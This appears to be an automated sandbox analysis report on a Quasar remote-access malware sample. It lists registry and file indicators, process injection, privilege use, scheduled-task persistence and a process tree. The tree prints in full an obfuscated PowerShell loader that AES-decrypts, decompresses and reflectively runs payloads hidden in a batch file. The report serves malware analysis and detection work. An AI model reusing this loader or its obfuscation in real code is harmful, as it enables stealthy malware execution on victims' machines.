quasar | 69e99e962f784f1d4ac17447a74741ff7da3efe70522df9a7bc070b431e4bec0

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1284 set thread context of 1328	1284	powershell.exe	106
PID 3224 set thread context of 2248	3224	powershell.EXE	109

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\$nya-onimai3	powershell.exe
File created	C:\Windows\$nya-onimai3\$nya-Loli.bat	powershell.exe
File opened for modification	C:\Windows\$nya-onimai3\$nya-Loli.bat	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 55 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 Jan 2025 06:26:21 GMT"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={028F791C-9EDF-47B3-B697-8CBCC2DA956D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1738045580"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1604	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4452	powershell.exe
4452	powershell.exe
3964	powershell.exe
3964	powershell.exe
4744	powershell.exe
4744	powershell.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
5004	powershell.exe
3224	powershell.EXE
3224	powershell.EXE
3224	powershell.EXE
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
5004	powershell.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
5004	powershell.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe
2248	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeIncreaseQuotaPrivilege	3964	powershell.exe
Token: SeSecurityPrivilege	3964	powershell.exe
Token: SeTakeOwnershipPrivilege	3964	powershell.exe
Token: SeLoadDriverPrivilege	3964	powershell.exe
Token: SeSystemProfilePrivilege	3964	powershell.exe
Token: SeSystemtimePrivilege	3964	powershell.exe
Token: SeProfSingleProcessPrivilege	3964	powershell.exe
Token: SeIncBasePriorityPrivilege	3964	powershell.exe
Token: SeCreatePagefilePrivilege	3964	powershell.exe
Token: SeBackupPrivilege	3964	powershell.exe
Token: SeRestorePrivilege	3964	powershell.exe
Token: SeShutdownPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeSystemEnvironmentPrivilege	3964	powershell.exe
Token: SeRemoteShutdownPrivilege	3964	powershell.exe
Token: SeUndockPrivilege	3964	powershell.exe
Token: SeManageVolumePrivilege	3964	powershell.exe
Token: 33	3964	powershell.exe
Token: 34	3964	powershell.exe
Token: 35	3964	powershell.exe
Token: 36	3964	powershell.exe
Token: SeIncreaseQuotaPrivilege	3964	powershell.exe
Token: SeSecurityPrivilege	3964	powershell.exe
Token: SeTakeOwnershipPrivilege	3964	powershell.exe
Token: SeLoadDriverPrivilege	3964	powershell.exe
Token: SeSystemProfilePrivilege	3964	powershell.exe
Token: SeSystemtimePrivilege	3964	powershell.exe
Token: SeProfSingleProcessPrivilege	3964	powershell.exe
Token: SeIncBasePriorityPrivilege	3964	powershell.exe
Token: SeCreatePagefilePrivilege	3964	powershell.exe
Token: SeBackupPrivilege	3964	powershell.exe
Token: SeRestorePrivilege	3964	powershell.exe
Token: SeShutdownPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeSystemEnvironmentPrivilege	3964	powershell.exe
Token: SeRemoteShutdownPrivilege	3964	powershell.exe
Token: SeUndockPrivilege	3964	powershell.exe
Token: SeManageVolumePrivilege	3964	powershell.exe
Token: 33	3964	powershell.exe
Token: 34	3964	powershell.exe
Token: 35	3964	powershell.exe
Token: 36	3964	powershell.exe
Token: SeIncreaseQuotaPrivilege	3964	powershell.exe
Token: SeSecurityPrivilege	3964	powershell.exe
Token: SeTakeOwnershipPrivilege	3964	powershell.exe
Token: SeLoadDriverPrivilege	3964	powershell.exe
Token: SeSystemProfilePrivilege	3964	powershell.exe
Token: SeSystemtimePrivilege	3964	powershell.exe
Token: SeProfSingleProcessPrivilege	3964	powershell.exe
Token: SeIncBasePriorityPrivilege	3964	powershell.exe
Token: SeCreatePagefilePrivilege	3964	powershell.exe
Token: SeBackupPrivilege	3964	powershell.exe
Token: SeRestorePrivilege	3964	powershell.exe
Token: SeShutdownPrivilege	3964	powershell.exe
Token: SeDebugPrivilege	3964	powershell.exe
Token: SeSystemEnvironmentPrivilege	3964	powershell.exe
Token: SeRemoteShutdownPrivilege	3964	powershell.exe
Token: SeUndockPrivilege	3964	powershell.exe
Token: SeManageVolumePrivilege	3964	powershell.exe
Token: 33	3964	powershell.exe
Token: 34	3964	powershell.exe
Token: 35	3964	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5004	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4912 wrote to memory of 228	4912	cmd.exe	83
PID 4912 wrote to memory of 228	4912	cmd.exe	83
PID 4912 wrote to memory of 4452	4912	cmd.exe	84
PID 4912 wrote to memory of 4452	4912	cmd.exe	84
PID 4452 wrote to memory of 1604	4452	powershell.exe	90
PID 4452 wrote to memory of 1604	4452	powershell.exe	90
PID 4452 wrote to memory of 3964	4452	powershell.exe	92
PID 4452 wrote to memory of 3964	4452	powershell.exe	92
PID 4452 wrote to memory of 4744	4452	powershell.exe	96
PID 4452 wrote to memory of 4744	4452	powershell.exe	96
PID 2804 wrote to memory of 924	2804	cmd.exe	100
PID 2804 wrote to memory of 924	2804	cmd.exe	100
PID 2804 wrote to memory of 5004	2804	cmd.exe	101
PID 2804 wrote to memory of 5004	2804	cmd.exe	101
PID 5004 wrote to memory of 3948	5004	powershell.exe	102
PID 5004 wrote to memory of 3948	5004	powershell.exe	102
PID 5004 wrote to memory of 1284	5004	powershell.exe	104
PID 5004 wrote to memory of 1284	5004	powershell.exe	104
PID 5004 wrote to memory of 1284	5004	powershell.exe	104
PID 5004 wrote to memory of 1284	5004	powershell.exe	104
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 1284 wrote to memory of 1328	1284	powershell.exe	106
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 3224 wrote to memory of 2248	3224	powershell.EXE	109
PID 2248 wrote to memory of 616	2248	dllhost.exe	5
PID 2248 wrote to memory of 684	2248	dllhost.exe	7
PID 2248 wrote to memory of 964	2248	dllhost.exe	12
PID 2248 wrote to memory of 384	2248	dllhost.exe	13
PID 2248 wrote to memory of 536	2248	dllhost.exe	14
PID 2248 wrote to memory of 928	2248	dllhost.exe	15
PID 2248 wrote to memory of 1096	2248	dllhost.exe	17
PID 2248 wrote to memory of 1108	2248	dllhost.exe	18
PID 2248 wrote to memory of 1124	2248	dllhost.exe	19
PID 2248 wrote to memory of 1208	2248	dllhost.exe	20
PID 2248 wrote to memory of 1276	2248	dllhost.exe	21
PID 2248 wrote to memory of 1352	2248	dllhost.exe	22
PID 2248 wrote to memory of 1364	2248	dllhost.exe	23
PID 2248 wrote to memory of 1400	2248	dllhost.exe	24
PID 2248 wrote to memory of 1472	2248	dllhost.exe	25
PID 2248 wrote to memory of 1588	2248	dllhost.exe	26
PID 2248 wrote to memory of 1596	2248	dllhost.exe	27
PID 2248 wrote to memory of 1652	2248	dllhost.exe	28
PID 2248 wrote to memory of 1756	2248	dllhost.exe	29
PID 2248 wrote to memory of 1764	2248	dllhost.exe	30
PID 2248 wrote to memory of 1796	2248	dllhost.exe	31
PID 2248 wrote to memory of 1848	2248	dllhost.exe	32
PID 2248 wrote to memory of 1904	2248	dllhost.exe	33
PID 2248 wrote to memory of 1916	2248	dllhost.exe	34
PID 2248 wrote to memory of 1980	2248	dllhost.exe	35
PID 2248 wrote to memory of 1016	2248	dllhost.exe	36
PID 2248 wrote to memory of 2100	2248	dllhost.exe	37

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:384
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{cc37e3b7-d6fc-4122-a8f3-626028b3f11c}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2248

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:964

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:536

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:928

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1096

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1124

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1208
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:3084
- C:\Windows\SYSTEM32\cmd.exe
  C:\Windows\SYSTEM32\cmd.exe /c "C:\Windows\$nya-onimai3\$nya-Loli.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2804
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function pPrLV($xjezz){ $wMHou=[System.Security.Cryptography.Aes]::Create(); $wMHou.Mode=[System.Security.Cryptography.CipherMode]::CBC; $wMHou.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $wMHou.Key=[System.Convert]::FromBase64String('lO1Vwq/nj9Puc/oGonhZjSQq/nzSWIn0lm/0BxXEcbE='); $wMHou.IV=[System.Convert]::FromBase64String('Z8/xZ+jsEzHKXXOs4H9TJQ=='); $LmFjs=$wMHou.CreateDecryptor(); $ZsDwh=$LmFjs.TransformFinalBlock($xjezz, 0, $xjezz.Length); $LmFjs.Dispose(); $wMHou.Dispose(); $ZsDwh;}function gbxhW($xjezz){ IEX '$Ovdns=New-Object System.IO.M*em*or*yS*tr*ea*m(,$xjezz);'.Replace('*', ''); IEX '$pBnCe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$KPnRz=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Ovdns, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $KPnRz.CopyTo($pBnCe); $KPnRz.Dispose(); $Ovdns.Dispose(); $pBnCe.Dispose(); $pBnCe.ToArray();}function DUZhs($xjezz,$VPKjP){ IEX '$osgqK=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$xjezz);'.Replace('*', ''); IEX '$vIuGg=$osgqK.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$vIuGg.*I*n*v*o*k*e*($null, $VPKjP);'.Replace('*', '');}$IVcAh = 'C:\Windows\$nya-onimai3\$nya-Loli.bat';$host.UI.RawUI.WindowTitle = $IVcAh;$vvRPw=[System.IO.File]::ReadAllText($IVcAh).Split([Environment]::NewLine);foreach ($OSbaK in $vvRPw) { if ($OSbaK.StartsWith(':: ')) { $wgCug=$OSbaK.Substring(3); break; }}$IWIwq=[string[]]$wgCug.Split('\');IEX '$VTaqv=gbxhW (pPrLV ([*C*o*n*v*e*rt]::*F*r*o*m*B*a*se6*4*S*t*ri*n*g*($IWIwq[0])));'.Replace('*', '');IEX '$ZEjBw=gbxhW (pPrLV ([*C*o*n*v*e*r*t]::*F*r*o*m*B*a*s*e*6*4*S*tr*i*n*g($IWIwq[1])));'.Replace('*', '');DUZhs $VTaqv $null;DUZhs $ZEjBw (,[string[]] ('')); "
    3⤵
    PID:924
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5004
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /Delete /TN "$nya-Loli_1" /F
      4⤵
      PID:3948
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1284
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1328
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
